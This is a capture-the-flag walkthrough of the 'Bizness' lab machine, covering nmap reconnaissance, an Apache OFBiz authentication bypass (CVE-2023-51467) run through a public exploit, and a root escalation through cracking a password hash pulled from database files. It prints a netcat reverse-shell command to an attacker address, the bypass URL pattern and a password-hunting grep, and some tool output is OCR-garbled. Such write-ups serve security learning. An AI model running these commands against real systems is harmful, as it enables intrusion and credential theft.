Bizness walkthrough

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Disclaimer

I do these boxes to learn things and challenge myself. I'm not a kind of penetration tester guru who always knows where to look for the right answer. Use it as a guide or support. Remember that it is always better to try it by yourself. All data and information provided on my walkthroughs are for informational and educational purpose only. The tutorial and demo provided here is only for those who're willing and curious to know and learn about Ethical Hacking, Security and Penetration Testing.

<u>Reconnaissance</u>

The results of an initial nMap scan are the following:

```
-0 -A 10.10.11.252
 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-23 11:33 AEDT
 Nmap scan report for bizness.htb (10.10.11.252)
 Host is up (0.029s latency).
 Not shown: 65531 closed tcp ports (conn-refused)
                          STATE SERVICE
                                                                                  VERSION
                                                                                   OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
22/tcp
                              open ssh
      ssh-hostkey:
             3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
             256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
         256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp
                                                                                nginx 1.18.0
                              open http
 |_http-title: Did not follow redirect to https://bizness.htb/
| http-server-header: nginx/1.18.0
 443/tcr open ssl/http nginx 1.18.0
|_http-trane-info: Problem with XML parsing of /evox/about
      tls-nextprotoneg:
           http/1.1
     ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
Not valid before: 2023-12-14T20:03:40
   _Not valid after: 2328-11-10T20:03:40
        ssl-date: TLS randomness does not represent time
   _http-server-header: nginx/1.18.0
      tls-alpn:
           http/1.1
                        title: BizNess Incorporated
 41541/tcp open tcpwrapped
  no exact US matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
  TCP/IP fingerprint:
 OS:SCAN(V=7.94SVN%E=4%D=1/23%OT=22%CT=1%CU=43674%PV=Y%DS=2%DC=T%G=Y%TM=65AF
 OS:0993%P=x86_64-pc-linux-gnu)SEQ(SP=101%GCD=1%ISR=10D%TI=Z%CI=Z%TS=A)SEQ(S
 OS:P=101%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI
 OS:=Z%TS=A)SEQ(SP=102%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%TS=A)OPS(01=M53CST11NW7%
 OS:02=M53CST11NW7%03=M53CNNT11NW7%04=M53CST11NW7%05=M53CST11NW7%06=M53CST11
 OS:)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W
 OS := FAF0\%O = M53CNNSNW7\%CC = Y\%Q = )T1(R = Y\%DF = Y\%T = 40\%S = 0\%A = S + \%F = AS\%RD = 0\%Q = )T2(R = NT) + (NT) + (NT)
 OS:)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T4(R=Y%DF=Y%T=40%W=0
 OS: %S=0%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=0%F=AR%O=%RD=0%Q=)T5(
 OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
 OS:F=R%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=0%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T
 0S := 40\% W = 0\% S = Z\%A = 0\% F = AR\%0 = \%RD = 0\%Q = )T7 (R = Y\%DF = Y\%T = 40\%W = 0\%S = Z\%A = S + \%F = AR\%0 = \%RD = 2\%F = 2\%
 OS := 0\%Q = )U1(R = Y\%DF = N\%T = 40\%IPL = 164\%UN = 0\%RIPL = G\%RID = G\%RIPCK = G\%RUCK = G\%RUD = G)IE = 0\%Q = 0
 OS:(R=Y%DFI=N%T=40%CD=S)
 Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Picture 1 - nMap scan results

Ports open are 22, 80, 443 and 41541. So, the machine has SSH enabled and possible application running on port 80 and/or 443. NMap has detected Linux as operative system, but any other specific information.

Initial foothold

One thing to do is trying to enumerate application directories. This goal was achieved using *dirsearch* tool. So, I launched the following command:

dirsearch - u https://bizness.htb

```
Tringer - Mills //Millers hill / Automit - Mills //Millers / Mills / M
```

Picture 2 - dirsearch scan results

Results showed up some directories, so I tried to access to them, but they required to be logged via OFBiz. I tried to use default credential as admin/ofbiz, but didn't work. I still searched something useful on the Internet and I found the CVE-2023-51467. This vulnerability involves an authentication bypass associated with the deprecated XML-RPC interface in OFBiz. More precisely, the system checked for a requirePasswordChange parameter and would incorrectly return requirePasswordChange even when provided with empty or invalid credentials. This flaw enabled the subsequent authentication check to be circumvented. By requesting the /webtools/controls/xmlrpc;/ with the authentication parameters and the parameter requirePasswordChange=Y, the application will return the xmlrpc namespace (200 OK) page circumventing the authentication mechanism.

User flag

Since I found a very interesting CVE, I searched an exploit for it. So, I found this one: https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass. I launched this exploit using the following command:

 $python\ authbypass.\ py\ --url\ https://bizness.\ htb\ --cmd\ 'nc\ -e\ /bin/bash\ 10.10.14.12\ 8089'$

```
python authbypass.py —url https://bizness.htb —cmd 'nc -e /bin/bash 10.10.14.110 8089'

[+] Generating payload ...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true

[+] Payload generated successfully.

[+] Sending malicious serialized payload ...

[+] The request has been successfully sent. Check the result of the command.

[k14d1u5@k14d1u5-kali)-[~/.../Per punti HTB/Linux/Easy/Bizness]
```

Picture 3 - Exploit bypass authentication

Of course, I needed an open listener on port 8089. After launched this command, I had had a shell:

```
s nc -lnvp 8089
listening on [any] 8089 ...
connect to [10.10.14.110] from (UNKNOWN) [10.10.11.252] 38068
whoami
ofbiz
```

Picture 4 - Shell as not privileged user

This shell was obtained with user *ofbiz*. Luckily, this user is the correct one to retrieve the user flag. It was in its home directory:

```
cd /home/ofbiz
ls -la
total 32
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Jan 8 05:31 .
                                  4096 Dec 21 09:15 ..
drwxr-xr-x 3 root
                   root
                                     9 Dec 16 05:21 .bash_history → /dev/null
lrwxrwxrwx 1 root
                   root
-rw-r--r-- 1 ofbiz ofbiz-operator 220 Dec 14 14:24 .bash_logout
-rw-r--r-- 1 ofbiz ofbiz-operator 3560 Dec 14 14:30 .bashrc
drwxr-xr-x 8 ofbiz ofbiz-operator 4096 Dec 21 09:15 .gradle
drwxr-xr-x 3 ofbiz ofbiz-operator 4096 Dec 21 09:15 .java
      -r-- 1 ofbiz ofbiz-operator
                                  807 Dec 14 14:24 .profile
                                    33 Jan 22 16:48 user.txt
         - 1 root ofbiz-operator
cat user.txt
```

Picture 5 - User flag

Privilege escalation

It was the moment to escalate my privileges to root. It was a very challenging and exhausting task for me. I tried to use *linpeas.sh* script, but I had nothing of useful. I tried to check configuration files I found on the machine, cronjobs, operative system, possible known CVEs or processes that use root privilege. Nothing was useful. Only thing I could do at that time was inspect all files on file system. After a long an exhausting search, I found the file /opt/ofbiz/framework/resources/templates/AdminUserLoginData.xml. In this file I found the string currentPassword =

" $\{SHA\}$ 47ca69ebb4bdc9ae0adec130880165d2cc05db1a". I was very happy; I was pretty sure finally I found something useful. I tried to crack it using **JohnTheRipper** tool, but nothing. It was a failure. So, I restarted to inspect files after files, until I found another password in /opt/ofbiz/runtime/data/derby/ofbiz/seg0/c54do. dat file. I searched password in directories using the following command:

```
grep - arin - o - E'(\w + \W +) \{0,5\} password(\W + \w +) \{0,5\}'.
```

```
cd /opt/ofbiz/runtime/data/derby/ofbiz/seg0
/opt/ofbiz/runtime/data/derby/ofbiz/seg0
grep -arin -o -E '(\w+\W+)\{0,5\}password(\W+\w+)\{0,5\}' .
./c6010.dat:2:generalma11.smtp.auth.password@SMTP Auth password setting
./c6850.dat:15:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:16:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:17:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:18:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:20:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:21:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:23:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&requirePasswordChange=Y@HFMozilla/5
./c6850.dat:24:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&&requirePasswordChange=Y@HFMozilla./c6850.dat:25:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=&&requirePasswordChange=Y@HFMozilla
./c6850.dat:27:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:28:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:29:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:30:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:31:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:32:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:33:htb/webtools/control/xmlrpc;/?USERNAME=&PASSWORD=s&requirePasswordChange=Y@HFMozilla
./c6850.dat:34:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y_python-requests
./c6850.dat:35:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
                                                                                                                    python-requests
./c6850.dat:36:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
./c6850.dat:37:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
                                                                                                                    python-requests
                                                                                                                    python-requests
./c6850.dat:38:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
                                                                                                                     python-requests
./c6850.dat:39:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
                                                                                                                     python-requests
./c6850.dat:40:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
                                                                                                                    python-requests
./c6850.dat:43:webtools/control/xmlrpc;/?USERNAME=Y&PASSWORD=Y&requirePasswordChange=Y
                                                                                                                     python-requests
```

Picture 6 - Command to search useful information

```
./c180.dat:87:SYSCS_CREATE_USEuserNampasswordVARCHAR
./c180.dat:87:PASSWORD&$c013800d-00fb-2649-07ec-000000134f30
./c180.dat:87:SYSCS_RESET_PASSWORuserNampasswordVARCHAR
./c180.dat:87:PASSWORD&$c013800d-00fb-2649-07ec-000000134f30
./c180.dat:87:SYSCS MODIFY PASSWORpasswordVARCHAR
./c54d0.dat:21:Password="$SHA$d$u
                                                        I" enabled
./c54d0.dat:21:Password
./ca1.dat:32:PASSWORD%&$9810800c-0134-14a5-40c1-000004f61f90
./ca1.dat:186:PASSWORD
./ca1.dat:495:PASSWORD
./ca1.dat:518:PASSWORD
./ca1.dat:804:PASSWORD
PASSWORDt:804:9f311549-018c-71c6-2b97-ffffa94ec81a
./ca1.dat:805:PASSWORD
./ca1.dat:910:PASSWORD
./ca1.dat:1121:PASSWORD
./ca1.dat:1131:PASSWORD
./ca1.dat:1216:PASSWORD
./ca1.dat:1340:PASSWORD
./ca1.dat:1449:PASSWORD
./ca1.dat:1474:PASSWORDH&f$363a08d1-018c-71c6-2b97
PASSWORDt:1529:1f22554f-018c-71c6-2b97-ffffa94ec81a
                        generalmail.smtp.auth.password generalmail.smtp.port
./c6021.dat:3:user
                                                                                 general
./c60.dat:122:PASSWORD
./c5f90.dat:4:PASSWORD
```

Picture 7 - Password found

I tried to decrypt it with *JohnTheRipper* tool, but I failed. So, I develop a little Python script called *decrypt.py* to achieve this goal. Finally, I obtained a password!

```
Processing: 10% hash: $SHA1$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I=
Processing: 10%
```

Picture 8 - Password decrypted

So, I had only to try to use it as root password in SSH. And luckily, it worked:



Picture 9 - Shell as root user

The last thing to do was to retrieve the root flag from its home directory:



Picture 10 - Root flag